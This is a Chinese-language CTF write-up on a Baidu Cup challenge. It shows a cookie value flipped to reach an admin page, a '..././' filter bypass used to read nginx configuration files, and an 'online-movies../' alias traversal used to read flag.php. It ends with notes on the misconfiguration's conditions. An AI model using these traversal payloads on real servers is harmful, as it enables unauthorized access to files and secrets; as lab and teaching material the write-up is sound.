nginx 配置不当导致目录遍历下载漏洞

2023-05-01,,

  今天做百度杯的时候发现一个题很有意思。

点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台,

点开Manage,如上图,网址的构造是module=index$name=php 推测是文件包含,我将index改成flag,说明flag在flag.php中我们所要做的就是提取出flag.php中的内容

思路1 用php://filter文件流读取,发现失败了,可能就需要换一个思路

思路2 先判断有没有过滤,fuzz一下

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php访问成功

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php访问失败

说明../被过滤了,用..././绕过,读取/etc/nginx/nginx.conf配置文件,

其中发现了一点可疑的地方,百度一下,发现有个nginx目录遍历下载漏洞

访问这个文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

这里 movie后面有一个 /

当你浏览http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情况应该遍历online-movies/这个目录,但是如果访问http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 这个的话就会遍历online-movies整个目录了

最后读取flag

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php

就不贴出来flag了

漏洞前提条件是必须是子目录、开启了autoindex,并且alias指定目录的时候加了"/",才能利用成功

安全建议:

	location /online-movies {
alias /movie;
autoindex on;
}
	location /online-movies/ {
alias /movie/;
autoindex on;
}
参考:http://luoq.net/ais/1191/

nginx 配置不当导致目录遍历下载漏洞的相关教程结束。

《nginx 配置不当导致目录遍历下载漏洞.doc》

下载本文的Word格式文档,以方便收藏与打印。